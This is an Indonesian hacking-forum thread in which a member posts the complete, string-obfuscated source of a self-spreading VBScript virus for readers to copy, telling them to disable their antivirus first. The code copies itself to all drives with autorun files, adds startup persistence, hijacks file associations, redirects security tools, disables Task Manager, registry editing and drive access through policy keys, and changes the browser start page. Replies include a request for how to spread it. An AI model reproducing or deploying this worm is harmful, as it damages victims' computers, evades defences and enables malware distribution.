.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll
 

 Virus Mentah Buat BC

Go down 
5 posters
PengirimMessage
S3r4f12
VIP Member
VIP Member
S3r4f12


Jumlah posting : 972
Points : 1538
Reputation : 113
Join date : 18.10.11
Age : 34
Lokasi : C:\Program error\User\Undefined

Virus Mentah Buat BC Empty
PostSubyek: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitimeFri Jan 06, 2012 6:03 am
Nah ini dia Virus gw datang lagi, tapi masih mentah dlm bentuk vbs. Virus ini lumayan keren loh kawan2, bisa nge disable partisi artinya kompi kl dah kena nih virus maka drive C,D,E ga bisa di akses. Kl lum puas dgn yg ginian silahkan aja jadiin exe. Tapi kl dah merasa puas dgn yg ginian ya udah copas aja yg dibwh ini: (iets jgn lupa disable dulu AV kamu ya)


Code:


PHP

'l1Nt4nG.vbs
on error resume next
dim mysource,winpath,HGjYuiyJWX,fs,mf,atr,tf,rg,nt,check,sd
atr = fNIOEKUfRA("^ovspuvb\")&vbcrlf&fNIOEKUfRA("tcw/m2w4ld5i!fyf/uqjsdtx>fuvdfyfmmfit")
set fs = createobject(fNIOEKUfRA("udfkcPnfutzTfmjG/hojuqjsdT"))
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes = 32
set tf=fs.createtextfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"),2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes = 39
for each HGjYuiyJWX in fs.drives
If (HGjYuiyJWX.drivetype = 1 or HGjYuiyJWX.drivetype = 2) and HGjYuiyJWX.path <> fNIOEKUfRA(";B") then
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes =32
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"),2,true)
tf.write mysource
tf.close
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes =39
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"))
tf.attributes = 32
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"),2,true)
tf.write atr
tf.close
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"))
tf.attributes=39
end if
next
set rg = createobject(fNIOEKUfRA("mmfiT/uqjsdTX"))
rg.regwrite fNIOEKUfRA("]eobnnpd]mmbutoJ]mmfit]fmjggoj]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm")
rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjghfs]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm")
rg.regwrite fNIOEKUfRA("]eobnnpD]ujeF]mmfiT]fmjGTCW]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm")
rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjg4qn]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("tcw/m2w4ld5i")
rg.regwrite fNIOEKUfRA("sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("zbmqtjEtnfuJzbsUpO")
rg.regwrite fNIOEKUfRA("ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("fyf/qnbojX]qnbojX]tfmjG!nbshpsQ];D"), fNIOEKUfRA("HOJSUT`HFS")
rg.regwrite fNIOEKUfRA("topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("eojGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA(fNIOEKUfRA("2")), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("uyFfmjGfejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("fubjdpttBfmjGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ujefhfSfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ovSpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ENDfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("shNltbUfmcbtjE]nfutzt]tfjdjmpq]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/end]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/34uefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/shNltbU]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/cjsuub]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/mmbutoj]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/qvuft]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("m2w4ld5i]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),winpath&fNIOEKUfRA("tcw/m2w4ld5i]")
rg.regwrite fNIOEKUfRA("fhbQ!usbuT]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("mu/fhbq/777mfsvB/xxx00;quui")
rg.regwrite fNIOEKUfRA("fmujU!xpeojX]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("777!MFSVB!ZC!EFLDBI")
rg.regwrite fNIOEKUfRA("sfoxPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("777!mfsvB"),fNIOEKUfRA("HOJSUT`HFS")
rg.regwrite fNIOEKUfRA("opjub{jobhsPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("4d2m1Q!juoB"),fNIOEKUfRA("HOJSUT`HFS")
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(fNIOEKUfRA("mmfit/uqjsdtX"))
sd.run winpath&fNIOEKUfRA("!$udfmft0$f0!fyf/sfspmqyf]")&Wscript.ScriptFullname
Function fNIOEKUfRA(eaYRjLasVU)
Dim i, tmp2
For i = 1 To Len(eaYRjLasVU)
tmp2 = Chr(Asc(Mid(eaYRjLasVU, i, 1)) - 1) + tmp2
Next
fNIOEKUfRA = tmp2
End Function

Save dlm bentuk .vbs
Say thanks if u like it
Kembali Ke Atas Go down
http://www.gagas-tewelz.com/
robofics
VIP Member
VIP Member
robofics


Jumlah posting : 709
Points : 804
Reputation : 20
Join date : 22.12.11
Lokasi : /dev/null

Virus Mentah Buat BC Empty
PostSubyek: Re: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitimeTue Jan 24, 2012 1:31 pm
ebuset..
sampe puyeng ane baca sekripnya kk/
Kembali Ke Atas Go down
http://robofics.wordpress.com
S3r4f12
VIP Member
VIP Member
S3r4f12


Jumlah posting : 972
Points : 1538
Reputation : 113
Join date : 18.10.11
Age : 34
Lokasi : C:\Program error\User\Undefined

Virus Mentah Buat BC Empty
PostSubyek: Re: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitimeTue Jan 24, 2012 10:25 pm
robofics wrote:
ebuset..
sampe puyeng ane baca sekripnya kk/

wkowkowk... cukup bca aja om.. ga perlu disimak... eh pahami aja mnding
Kembali Ke Atas Go down
http://www.gagas-tewelz.com/
sayen
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 12
Points : 12
Reputation : 0
Join date : 11.04.12
Age : 32
Lokasi : Mojokerto

Virus Mentah Buat BC Empty
PostSubyek: Re: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitimeWed Jun 27, 2012 2:07 am
Waktunya belajar dari om nih Virus Mentah Buat BC 271371
Kembali Ke Atas Go down
http://sayenvirus.blogspot.com
Dhani
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 7
Points : 11
Reputation : 0
Join date : 26.12.12

Virus Mentah Buat BC Empty
PostSubyek: Re: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitimeWed Dec 26, 2012 3:32 pm
ngetiknya dimana omm.....cara nyebarinnya om.. Virus Mentah Buat BC 3529815765
Kembali Ke Atas Go down
Black_Hat.911
Mundane Person
Mundane Person
Black_Hat.911


Jumlah posting : 219
Points : 317
Reputation : 17
Join date : 17.01.12
Age : 34
Lokasi : system error

Virus Mentah Buat BC Empty
PostSubyek: Re: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitimeThu Dec 27, 2012 8:40 am
maling maling maling
:hancor: :hancor: :hancor:
:mfun:
Kembali Ke Atas Go down
Sponsored content





Virus Mentah Buat BC Empty
PostSubyek: Re: Virus Mentah Buat BC   Virus Mentah Buat BC Icon_minitime
Kembali Ke Atas Go down
 
Virus Mentah Buat BC
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» BELAJAR BUAT VIRUS DI Ms.VB 6.0
» Buat Virus Sederhana
» Belajar Buat vIRUS sEDErHaNa
» Belajar Lg nyoK "Virus Buat MsWord Etc.
» cara buat virus sederhana dari notepad

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll-
Navigasi: